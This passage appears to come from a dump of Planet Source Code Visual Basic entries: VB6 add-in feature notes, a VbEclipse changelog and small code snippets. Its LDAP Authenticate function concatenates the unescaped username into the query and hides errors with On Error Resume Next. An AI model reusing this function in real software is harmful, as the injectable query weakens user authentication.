\nconsidered a collection. In this case, the following requirements are reviewed:\n<ul>\n <li>If it has the Item method, it must have the NewEnum method (implemented as \n Function or Property Get). </li>\n <li>\n If it has the NewEnum method, it must have the \n Item method (implemented as Function or Property Get). </li>\n <li>\n The NewEnum method must have Procedure ID -4. </li>\n <li>\n The Item method must have Procedure ID 0 \n (Default). </li>\n</ul>\nThe results are shown in a Results Window. The \ncollections review can be launched automatically (or you can be asked) when you \nmake the executable of a project, that is, clicking some of the File | Make \n... menus (this is customizable through the Options window). \n<h3>Clear Immediate Window</h3>\nVisual Basic does not offer a handy way to clear the contents of the \nImmediate Window. There is no context menu and the Debug object lacks of the \nClear method. The only way to clear the Immediate Window is selecting the text \n(Control + A) and then pressing the Del key. The add-in offers a button and a \ncontext menu to clear that window.\n<h3>Task List</h3>\nThe add-in offers a task list for each project (in fact, the tasks are saved \nin the .vbp file). For each task you can enter the description, priority, \nassigned person, status and comments. You can filter the list by status, \npriority or assigned person, sort the tasks by any field, export them to a text \nfile (tab delimited) or copy them to the clipboard to paste them in Microsoft \nExcel, for example.\n\n \n<h3>Line Numbering</h3>\nYou can add or remove line numbers to a procedure, module, project or project \ngroup through the corresponding context menu in the Project Explorer. This \nfeature is useful if you use the (undocumented) Erl function in your error \nhandlers to know the line that caused the error. You can define the increment \nused and if global numbers should be used in the Options window.\n<h3>Statistics</h3>\nThe add-in can show statistics (number of code lines, comment lines, total \nlines, procedures and controls, along with totals) of your source code at \nproject-group, project or file level (through context menus). Blank lines are \nexcluded from the statistics. You can sort the results, export them to a text \nfile (tab delimited) or copy them to the clipboard to paste them in Microsoft \nExcel, for example. \n\n \n<h3>Copy And Paste Controls With Code</h3>\nWith this feature, you can copy and paste controls with related code (events) \nfrom one form to another.\n<h3>Rename Controls With Code</h3>\nWhen this feature is active (it can be disabled through the Options window), \neach time you rename a control in a form which is not part of an array, the \nrelated code (events and occurrences in the code of that form) is also renamed \naccordingly, saving time to you.\n<h3>Controls Default Properties</h3>\nWhen this feature is active (it can be disabled through the Options window), \neach time you add a control to a form, the add-in applies the default properties \nthat you have customized in the Options window. Some useful properties you will \nwant to change are the name of the controls (to use your own prefixes), the \nCaption or Text properties (to use empty values), the height of Labels or \nTextBoxes, the LabelEdit or View properties of listviews, and so on.\n<h3>Prompt for Name and Caption Properties When Adding a Control</h3>\nWhen this feature is active (it can be disabled through the Options window), \neach time you add a control to a form, you are asked for the Name and Caption \n(if applies) of the new control.\n<h3>Reload File From Disk</h3>\nWith this feature, you can reload a previously saved copy of a file of your \nproject without reloading the whole project.\n<h3>Remove Debug Files (.lib and .exp) When Closing Project</h3>\nWhen this feature is active (it can be disabled through the Options window), \nafter closing a project the add-in removes the debug files (.lib and .exp \nextensions), if present, that VB generates when making a DLL and that normally \nyou will not use.\n<h3>Close Windows</h3>\nWith the add-in you can close all current open windows with one click. \nOptionally you can keep open the active window.\n<h3>Add Multiple Files To Project</h3>\nWhen this feature is active (it can be disabled through the Options window), \nthe add-in intercepts the Add File... buttons and the Ctrl+D shortcut to \nshow an Add File dialog that allows multiselection. In addition, you do \nnot have to specify if the file is a "related document" since the add-in detects \nit automatically according to the extension of the file. \n<h3>Shortcuts To Built-in IDE Features</h3>\nThe add-in offers customizable shortcuts to these built-in features of the \nIDE, avoiding the use of the mouse:\n<ul>\n <li>Comment / Uncomment Block </li>\n <li>Bookmarks buttons </li>\n <li>Remove File Of Project </li>\n <li>Toggle visibility of the Watch Window and Locals Window </li>\n</ul>\n<h3>Shortcut To Save File At Debug-Time or Run-Time</h3>\nYou can define a shortcut to save the selected file at debug-time or \nrun-time. Although Visual Basic does not allow to save files at debug-time or \nrun-time, often it is useful to save the modifications that you have made to the \nsource code at those times.\n<h3>Code Templates</h3>\nYou can create code templates in the Options window for code snippets that \nyou insert frequently in your source code. To insert a code template in your \nsource code, you can select it from a list with all code templates, or you can \ndefine a shortcut for each one for greater productivity.\nCode templates can include predefined variables (such as author, current \ndate, procedure name, cursor position after insertion, etc.) but also can \ninclude user-defined variables, that is, your own variables. When you insert in \nthe source code a code template with user-defined variables, a dialog asks you \nthe values of those variables. For example, you can define a code template to \ncreate a collection class with a user-defined variable which is the name of the \nclass of the objects that the collection will hold, used in the Item() and Add() \nmethods.\n<h3>Review Source Code</h3>\nThe add-in can review your source code at project-group, project or file \nlevel (through context menus) detecting unused variables, constants, parameters, \nprivate procedures, and so on. For performance reasons, only private \ndeclarations are reviewed.\nThe results are shown in a Results Window. The \nsource code review can be launched automatically (or you can be asked) when you \nmake the executable of a project, that is, clicking some of the File | Make \n... menus (this is customizable through the Options window). \n<h3>Select Case Assistant For Enum Expressions</h3>\nLeveraging the rewritten code parser of this version 3.0, when you write in a \ncode window a Select Case <Enum expression> statement such as\n Select Case \nm_ctlListView.ColumnHeaders(1).Alignment\nand you invoke this assistant (with a shortcut for greater productivity) a \nwindow as the following appears:\n\n \nWith this window, you can choose the values of the enum expression which \nrequire a separate Case statement. If you leave enum values not selected, a Case \nElse statement is added.\n<h3>Favorite Projects</h3>\nWith this feature you can create a list with the projects that you use \nfrequently and you can load them (closing the current Visual Basic instance or \nnot):\n\n \nThis feature is intended to replace the Recent Projects feature of Visual \nBasic, which has a couple of flaws: a recent project is not always a favorite \nproject and you can not delete a recent project without digging into the \nregistry. \n<h3>Favorite Procedures</h3>\nWith this feature you can create a persistent list with the procedures of a \nproject that you use frequently and you can go to one of them selecting it in \nthe list. \nThis feature is intended to replace the bookmarks feature of Visual Basic, \nwhich has a couple of flaws: bookmarks are not persistent among sessions and \nbookmarks are not named (you can only go to the next or to the previous one). \n<h3>Private Clipboards</h3>\nThe add-in provides 9 private clipboards. You can copy and paste snippets of \ncode using a specific clipboard directly (with customizable shortcuts or menus) \nor you can use a window that the add-in provides which shows the content of each \nclipboard:\n\n \n<h3>External Utilities</h3>\nYou can include (through the Options window) your own external utilities, \nthat will be added at the bottom of the Other Utilities menu of the \ntoolbar. For example, you can include as external utilities your favorite icon \neditor, database tool, etc. and even scripts, documents or URLs. In addition, \nyou can pass to each external utility the file name of the current module, \nproject or project group.\n\n \n<h3>MsgBox Assistant</h3>\nThe add-in provides a window to generate easily message boxes. \n<h3>XML Documentation</h3>\nThe add-in can generate an XML file with documentation at project group, \nproject or file level (through context menus). The XML file includes elements \nsuch as References, Projects, Files, Procedures, Parameters, Controls, etc. Each \nelement such as a Reference, Procedure, Parameter, etc. include sub-elements \nwith relevant properties. For example, for the Parameter element you have the \ntype, optional, default value, etc. \nThe XML file also includes comment line elements for module and procedure \nelements whose content is extracted from the source code (provided you have \nentered them). Comments are extracted line by line as literals, so you can use \nany format for them, that is, they do not need to be XML compliant.\nAlthough not required, the add-in allows you to include a reference to an \nXSLT template in the XML file when is generated, which allows you to format the \nXML file for viewing it with Microsoft Internet Explorer 5.0 or higher.\nThere are a lot of uses for the XML file. As example, I provide an XSLT \ntemplate that you can customize which uses also CSS, JavaScript and DHTML to \nexpose the XML documentation as a HTML report for documentation purposes.\nAlthough the add-in does not require the Microsoft XML Parser to generate the \nXML file, you will need it (specifically Microsoft XML Parser 3.0 SP1 or higher \nin Replace Mode) to use XSLT templates. \nXML and XSLT can be confusing (and frustrating) to use at first, but even \nwith no previous knowledge you can manage it in a couple of weeks. In my \nopinion, it is one of the most powerful and impressive technologies of the last \nyears.\n<h3>Sort Procedures</h3>\nThe add-in can show a window with all the procedures of the current file. In \nthis window, you can rearrange the order of the procedures by scope, name, type \nor manually. The list supports multiple drag & drop for easier use.\n<h3>Split / Combine Lines</h3>\nYou can split (insert line continuation characters) or combine lines in \nsource code at project-group, project, file, procedure or selection level. The \nmaximum length of a line is customizable in the Options window.\n<h3>Convert Selection To Upper / Lower Case</h3>\nYou can convert the selected text to upper or lower case. This is useful when \nconverting constants (typically in upper case) to enum values (typically in \nlower case) or vice versa.\n<h3>Edit File As Text</h3>\nThis feature allows you to edit a file of your project (such as a form) with \nthe editor that you have associated with .txt files (typically Notepad, but it \ncan be a better one). You can modify it, save it and reload it with the Reload \nFile From Disk feature. \n<h3>Open Folder Of File</h3>\nWith this feature you can open the folder of a saved file. It is handy in \nsome situations.\n<h3>ADO Connection String</h3>\nThe add-in can show the Data Links dialog of OLE DB to create a connection \nstring. When you accept the dialog, the connection string is copied to the \nclipboard, and you can paste it into your source code, configuration file, etc.\n<h3>Collapse Projects</h3>\nThis feature allows you to collapse the projects of the Project Explorer with \none click. It is very handy for the number of files of current applications. \nThis feature also fixes an annoying bug that you may have seen in the Project \nExplorer:\n<ul>\n <li>Open Visual Basic. Project1 and Form1 are created by default. </li>\n <li>Add a second form, Form2. </li>\n <li>In the Project Explorer, click in the Form1. The Form1 item is selected.\n </li>\n <li>Right-click in the Form2 item. The context menu appears. </li>\n <li>While the context menu is shown, click with the left button of the mouse \n in the Form1 item. The context menu is closed and the Form1 item has the \n rectangle border of the selected item (which is right) but the Form2 item \n remains with the blue background forever. Clicking the Collapse Projects \n button of the add-in fixes this problem. </li>\n</ul>\n<h3>Review Access Keys</h3>\nThe add-in can review access keys (the underlined character of dialog \ncontrols) at project-group, project or file level (through context menus) \ndetecting controls without access key or collisions among access keys.\nThe results are shown in a Results Window. The \naccess keys review can be launched automatically (or you can be asked) when you \nmake the executable of a project, that is, clicking some of the File | Make \n... menus (this is customizable through the Options window). \n<h3>Convert Public Variable To Property</h3>\nIf you put the cursor in a line as the following:\nPublic Count As Long\nthen, when you invoke this feature the line is parsed and the corresponding \nvalues are pre-selected in the Add Procedure dialog. If you click the Add \nbutton, the member variable will be converted to a pair Property Get/Let.\n<h3>Fix VB registry entries to prevent character ~ when opening VB files by \ndouble-clicking them</h3>\nBy default, after installing Visual Basic when you double-click a .vbp, .vbg \nor other VB extension file, the file is loaded as short file name instead long \nfile name. See MSDN Knowledge Base Article Q149863: "PRB: Long Filenames Lost \nwhen Project is Loaded by Association". The add-in corrects this problem \nautomatically.\n<h3>Add-in Features Working At Debug or Run-Time</h3>\nIn a perfect world (such as the VB.Net world, perhaps) this should not be a \nfeature, but in the VB5 / VB6 world officially add-ins can not run at debug or \nrun-time. Although this is also a popular belief, it is not true, but as far as \nI have seen, this is the first add-in with this "feature". The only caveat for \nyou, as user, is that you must invoke the features through shortcuts instead of \nmenus. Violating Microsoft rules running the add-in at debug or run-time modes \nmeans that internally there are some traps that can cause GPFs but hopefully I \nhave shielded the add-in against all of them, so you can run the add-in safely \nin those modes. Note that most features of the add-in (such as TabIndex \nAssistant, Statistics, Reviews, and so on) are intended only for design-time \nmode, but you can run the features that have sense at debug or run-time such as \nProcedure Callers or Find.\n<h3>Customization For Usability</h3>\nThe add-in has been carefully designed with usability in mind. For example, \nto save space the toolbar is automatically hidden in the VB6 version of the \nadd-in at run-time or debug-time, since you can use it only at design-time. \nApart from customizing features (templates, default properties for controls, \nand so on), the add-in is highly customizable to feel yourself comfortable using \nit. Some settings that you can customize are:\n<ul>\n <li>Shortcuts to all features </li>\n <li>Buttons on the toolbar </li>\n <li>Position and visibility of the toolbar </li>\n <li>Size of windows </li>\n <li>The add-in language (English, Spanish, French, Italian, German and \n Portuguese) </li>\n</ul>\nOf course, all these settings are preserved among sessions.\n<h3>Results Window</h3>\nThe treeview of the window shows code lines which belong to the result of the \noperation performed, if it is an operation that must show code lines. You can go \nto the code line in the code window of Visual Basic double-clicking on it or \npressing the Enter key if the line is selected in the treeview. You can also \nremove code lines from the results window pressing the Del key (this feature is \nuseful if you are using the results as a "To Do" list). You can define a \ncustomizable shortcut to return to the last results window used, avoiding \ntotally the use of the mouse while switching between a code window and a results \nwindow.\nFinally, you can also export the results to a text file (tab delimited) or \ncopy them to the clipboard."},{"WorldId":1,"id":58678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58683,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58689,"LineNumber":1,"line":"Option Explicit\nPublic gstrLDAPURL As String\nPublic Function Authenticate(strUserName As String, strPassword As String) As Boolean\n On Error Resume Next\n Dim conLDAP As ADODB.Connection\n Dim strSQL As String\n Dim strLDAPConn As String\n Dim rsUser As ADODB.Recordset\n \n Set conLDAP = New ADODB.Connection\n conLDAP.Provider = \"ADSDSOOBject\"\n strSQL = \"Select AdsPath, cn From 'LDAP://\" & gstrLDAPURL _\n & \"' where objectClass='user'\" _\n & \" and objectcategory='person' and\" _\n & \" SamAccountName='\" & strUserName & \"'\"\n conLDAP.Provider = \"ADsDSOObject\"\n conLDAP.Properties(\"User ID\") = strUserName\n conLDAP.Properties(\"Password\") = strPassword\n conLDAP.Properties(\"Encrypt Password\") = True\n 'open connection + password\n conLDAP.Open \"DS Query\", strUserName, strPassword\n 'execute LDAP query\n Err.Clear\n Set rsUser = conLDAP.Execute(strSQL)\n 'rs will be empty if authentication fail\n Authenticate = False\n If Err.Number = 0 Then\n If Not (rsUser Is Nothing) Then\n If Not (rsUser.EOF And rsUser.BOF) Then\n Authenticate = True\n End If\n End If\n ElseIf Err.Number = -2147217865 Then\n MsgBox \"Error in LDAP settings\" & vbCrLf _\n & \"Call Admin\"\n End If\nEnd Function"},{"WorldId":1,"id":58691,"LineNumber":1,"line":"Set the listboxes [IntegralHeight]= False (True is the default) and then you can resize the height of the listbox to any dimension you desire"},{"WorldId":1,"id":58694,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58717,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58729,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58735,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58765,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58776,"LineNumber":1,"line":"Public Function CatArray(ByRef Array1 As Variant, ByRef Array2 As Variant) As Variant\nDim sTemp As String\nsTemp = Join(Array1, vbNullChar) & vbNullChar & Join(Array2, vbNullChar)\nCatArray = Split(sTemp, vbNullChar)\nEnd Function"},{"WorldId":1,"id":58778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58843,"LineNumber":1,"line":"Private Declare Function sndPlaySound Lib \"winmm.dll\" Alias \"sndPlaySoundA\" _\n(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\nConst SND_SYNC = &H0\nConst SND_ASYNC = &H1\nConst SND_NODEFAULT = &H2\nConst SND_LOOP = &H8\nConst SND_NOSTOP = &H10\n'----------PLAY WAVE SOUND--------\nPrivate Sub PlayWaveSound_Click()\n soundfile$ = \"c:/TheCustomSoundIWant.wav\"\n wFlags% = SND_ASYNC Or SND_NODEFAULT\n HaHa = sndPlaySound(soundfile$, wFlags%)\nEnd Sub\n'-------STOP WAVE SOUND-------\nPrivate Sub StopTheSound_Click()\nStopTheSoundNOW = sndPlaySound(soundfile$, wFlags%)\nEnd Sub\n'Replace \"c:/TheCustomSoundIWant.wav\" with your sound"},{"WorldId":1,"id":58845,"LineNumber":1,"line":"<STYLE type=\"text/css\">\n BODY, P \n {\n font-family: Arial;\n font-size: 11pt;\n }\n H1\n {\n font-size: 22pt;\n }\n \n H2\n {\n font-size: 14pt;\n }\n \n H3\n {\n font-size: 12pt;\n }\n \nTABLE.summary{\n WIDTH: 100%;\n}\nTABLE.summary TH {\n BACKGROUND: rgb(204, 204, 204);\n PADDING: 3px; \n FONT-WEIGHT: bold;\n font-size: 8pt;\n BORDER: #dcdcdc 1px solid;\n text-align: left;\n}\nTABLE.summary TR TD {\n font-size: 8pt;\n PADDING: 3px; \n border-bottom-style: solid;\n border-bottom-width: 1px;\n border-bottom-color: rgb(204, 204, 204);\n vertical-align: top;\n}\n</STYLE>\n <H1>AB-Software - VbEclipse Project</H1>\n http://www.ab-software.com\n Freeware Version 0.8.97\n All 32-bit MS Windows Operating Systems\n (95/98/NT/2000/XP)\n <HR>\n <H2>NEW UPDATE AVAILABLE</H2>\n A new update of VbEclipse is available.\n PLEASE LOOK AND VOTE\n AT:\n http://www.pscode.com/vb/scripts/ShowCode.asp?txtCodeId=58641&lngWId=1\n <HR>\n <H2>DESCRIPTION</H2>\n The VbEclipse project is a Visual Basic 6.0 implementation\n of the Eclipse perspectives. It provides a high flexible and\n complete configurable docking MDI solution with a nice user\n interface.\n At work I'm developing Java with the open source Eclipse 3.0\n IDE (see www.eclipse.org). This IDE works with perspectives,\n which gives the developer different views on his source.\n If the developer is simply coding Java, he will do this in\n the java perspective. This perspective has some views like\n project explorer, tasks, ... But if you are debugging the\n source, Eclipse switches to the debug perspective. Here you can\n see other views like breakpoints, variables or the running\n tasks.\n The user will automaticlly see only the views he really\n needs for his current work. Cause I like this concept, I was\n inspired to implement this possibility for Visual Basic\n developers. And this is also the final goal for this\n project.\n But you can do more with this Control than just create IDE\n apps. Just have a look at the \"VbDoc\" example in the download\n and see how simply it is to work with perspectives and which\n surplus values you get.\n Thanks for your interest on my work.\n PLEASE VOTE IF YOU LIKE IT :o)\n <HR>\n <H2>FEATURE HISTORY</H2>\n <H3>Version 0.3.x (December 2004)</H3>\n <TABLE class=\"summary\">\n <TR>\n <TH width=\"1\">+ / -</TH>\n <TH width=\"25%\">Feature / Bugfix</TH>\n <TH width=\"100%\">Description</TH>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Perspectives</TD>\n <TD>Different sets of layouted views (forms) to switch\n between different perspectives. Perspectives descripe the\n presentation of theire views.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Views</TD>\n <TD>Views are representing simple Visual Basic standard\n forms and could be accessed by a unique view id. Note thar\n there could only be one view instance visible on each\n perspective. When the user changes the perspective, no view\n will be unloaded. Only the position and the visibility of\n views will be changed. So if the user switches back to the\n first perspective the layout will not be lost or\n reset.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Folders</TD>\n <TD>Views are layouted on the perspective by folders. The\n sense of a folder is to provide the ability to show views\n stacked together with other views. There is only one view\n visible for each folder. The visible view could be canged\n by tabs.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>View Handling</TD>\n <TD>Show, activate and close views on\n the active perspective by theire id. You can also\n maximize and restore views / editors.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Drag & Drop</TD>\n <TD>Drag a view while press and hold the left mouse button\n on views caption. If you hold the button a while (500 ms) a\n focus rectangle will appear. Now you can select an other\n folder to drop the view by releasing the mouse button. You\n can also create new folders if you drop the view on the\n top, left, bottom or right of a folder. The new folder will\n appear in the relation you drop the view.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Office 2003 Color Scheme</TD>\n <TD>This scheme has different color styles for\n classic, metallic (silver), homestead\n (olive) and normal (blue) mode.</TD>\n </TR>\n </TABLE>\n <H3>Version 0.8.33 (January 2005)</H3>\n <TABLE class=\"summary\">\n <TR>\n <TH width=\"1\">+ / -</TH>\n <TH width=\"25%\">Feature / Bugfix</TH>\n <TH width=\"100%\">Description</TH>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>New Color Scheme</TD>\n <TD>New Windows XP Color Scheme as a replacement for the\n Office 2003 Color Scheme.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Custom Color Schemes</TD>\n <TD>Developers can set custom colors by IScheme\n interface.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Editors</TD>\n <TD>Open, Activate, Close</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Folder Captions</TD>\n <TD>Folders now have a caption which shows the name of the\n open view.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Floating Windows</TD>\n <TD>If you drop a view to the outside of the perspective a\n floating window will apear.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Auto Hide Folder Tabs</TD>\n <TD>The folders tabs are invisible if there is only one\n view on it.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Tabs Orientation</TD>\n <TD>\n For better distinguish between folders and the editor\n area the following tab orientation were set: \n <UL>\n <LI>The orientation of the folder tabs changed to\n bottom orientation.</LI>\n <LI>The orientation of the editor area tabs changed to\n top orientation.</LI>\n </UL>\n </TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Editor Tabs Orientation</TD>\n <TD>The orientation of the editor area tabs changed to top\n orientation.</TD>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>Flicker effects</TD>\n <TD>I reduced the flickering on resize a perspective by a\n new rendering method.</TD>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>Performence</TD>\n <TD>Optimized Performence on layouting perspectives.</TD>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>Folders</TD>\n <TD>Refresh Layout after remove a maximized folder\n (fixed).</TD>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>ShowView() Methode</TD>\n <TD>ShowView creates a new folder if perspective has none\n (fixed).</TD>\n </TR>\n </TABLE>\n <H3>Version 0.8.91 (30. January 2004)</H3>\n <TABLE class=\"summary\">\n <TR>\n <TH width=\"1\">+ / -</TH>\n <TH width=\"25%\">Feature / Bugfix</TH>\n <TH width=\"100%\">Description</TH>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Folder Caption</TD>\n <TD>New buttons on folder caption to maximize / restore the\n folder and to close a view.</TD>\n </TR>\n </TABLE>\n <H3>Version 0.8.92 (31st January 2005)</H3>\n <TABLE class=\"summary\">\n <TR>\n <TH width=\"1\">+ / -</TH>\n <TH width=\"25%\">Feature / Bugfix</TH>\n <TH width=\"100%\">Description</TH>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Folder Caption</TD>\n <TD>Caption button became a hover and pressed style\n effect.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Tabs Navigation</TD>\n <TD>Tabs now have navigation buttons (show previous and\n next view). The editor area tabs also got a close editor\n button.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Editor Navigation</TD>\n <TD>New perspective methods: NextEditor() +\n PrevEditor()</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Floating windows</TD>\n <TD>Set the main window as the new owner of floating\n windows.</TD>\n </TR>\n </TABLE>\n <H3>Version 0.8.94</H3>\n <TABLE class=\"summary\">\n <TR>\n <TH width=\"1\">+ / -</TH>\n <TH width=\"25%\">Feature / Bugfix</TH>\n <TH width=\"100%\">Description</TH>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>Floating windows</TD>\n <TD>If you move floating windows to mouse cursor doesn't\n position at the middle of the folder caption anymore.</TD>\n </TR>\n </TABLE>\n <H3>Version 0.8.95 (1st February 2005)</H3>\n <TABLE class=\"summary\">\n <TR>\n <TH width=\"1\">+ / -</TH>\n <TH width=\"25%\">Feature / Bugfix</TH>\n <TH width=\"100%\">Description</TH>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Tab Navigation</TD>\n <TD>Auto hide and disable tab navigation buttons</TD>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>Color Scheme</TD>\n <TD>Fixed classic window style.</TD>\n </TR>\n </TABLE>\n <H3>Version 0.8.96 (2nd February 2005)</H3>\n <TABLE class=\"summary\">\n <TR>\n <TH width=\"1\">+ / -</TH>\n <TH width=\"25%\">Feature / Bugfix</TH>\n <TH width=\"100%\">Description</TH>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>Floating Windows</TD>\n <TD>Fixed floating windows bug on closing a perspective and\n open it again.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Perspective Layout</TD>\n <TD>Set folders as floating windows at application\n startup.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Floating Windows</TD>\n <TD>Drop multiple views on a floating window.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>VbDoc example</TD>\n <TD>New example application \"VbDoc\" (creates a html\n documentation of your Visual Basic 6.0 projects).</TD>\n </TR>\n </TABLE>\n <H3>Version 0.8.97 (4th February 2005)</H3>\n <TABLE class=\"summary\">\n <TR>\n <TH width=\"1\">+ / -</TH>\n <TH width=\"25%\">Feature / Bugfix</TH>\n <TH width=\"100%\">Description</TH>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>Perspective Layout</TD>\n <TD>Fixed a bug on switching between perspectives when a view is maximized.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Color Schemes</TD>\n <TD>New perspective property ColorScheme to select a color scheme (Windows XP, Office 2003, Custom).</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Custom Scheme</TD>\n <TD>You can define colors for the custom scheme with different properties in Visual Basic IDE.</TD>\n </TR>\n </TABLE>\n\n <H3>Version 0.8.98 (7th February 2005)</H3>\n <TABLE class=\"summary\">\n <TR>\n <TH width=\"1\">+ / -</TH>\n <TH width=\"25%\">Feature / Bugfix</TH>\n <TH width=\"100%\">Description</TH>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Perspective</TD>\n <TD>I made the perspective control alignable so you are able to drop it on a MDI form.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Caption Buttons</TD>\n <TD>Caption buttons are drawn like the caption gradients.</TD>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>View Caption</TD>\n <TD>I have fixed the ShowViewCaptions perspective property. Now the view caption \n\t won't be displayed if you set this property to false. But the views are\n still dragable. Just drag it by its tab or double click on a tab to maximize / \n\t restore the view. If caption buttons are hidden the view navigation is displayed \n\t to close a view.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>View Caption</TD>\n <TD>I renamed the ShowViewCaptions perspective property to ViewCaptions.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>View Caption Icon</TD>\n <TD>I have implemented a new property ViewCaptionIcons to show or hide an icon on \n the left side of the caption.</TD>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>Floating Windows</TD>\n <TD>Floating windows can float over it self and a floating rect will be drawn if you \n drag a view to the middle of the editor area.</TD>\n </TR>\n </TABLE>\n \n <H3>Version 0.8.99 (11th February 2005)</H3>\n <TABLE class=\"summary\">\n <TR>\n <TH width=\"1\">+ / -</TH>\n <TH width=\"25%\">Feature / Bugfix</TH>\n <TH width=\"100%\">Description</TH>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Folders</TD>\n <TD>You can define an active view for each folder.</TD>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>Folders</TD>\n <TD>The active view of a folder will be stored if you switch to an other \n \t perspective and come back to the first perspective.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>View Caption</TD>\n <TD>Double click the views caption to undock a view and make it a floating window.</TD>\n </TR>\n <TR>\n <TD>-</TD>\n <TD>Splitter Bars</TD>\n <TD>If you move the main window without to resize it, the drag and drop of the \n\tsplitter bars were drawn wrong. I have fixed this bug.</TD>\n </TR>\n <TR>\n <TD>+</TD>\n <TD>Comments</TD>\n <TD>I add more comments to describe the methods, but still not all.</TD>\n </TR>\n </TABLE>"},{"WorldId":1,"id":58853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58865,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58875,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function QueryPerformanceFrequency Lib \"kernel32\" (lpFrequency As Currency) As Long\nPrivate Declare Function QueryPerformanceCounter Lib \"kernel32\" (lpPerformanceCount As TwoLongs) As Long\nPrivate Type TwoLongs\n l1 As Long\n l2 As Long\nEnd Type\nPublic Function IsCpuSuitable() As Boolean\n Dim c As Currency\n On Error Resume Next\n IsCpuSuitable = CBool(QueryPerformanceFrequency(c))\n On Error GoTo 0\nEnd Function\nPublic Function TrueRnd() As Single\n 'returns a truly random sequence of rnd's\n Dim tl As TwoLongs\n Dim Seed As Long\n Dim Tmp As Long\n Do Until Seed > &H3FFFFFFF\n QueryPerformanceCounter tl\n Tmp = tl.l1 And 1\n QueryPerformanceCounter tl\n If Tmp <> (tl.l1 And 1) Then\n Seed = Seed + Seed + Tmp\n End If\n Loop\n TrueRnd = 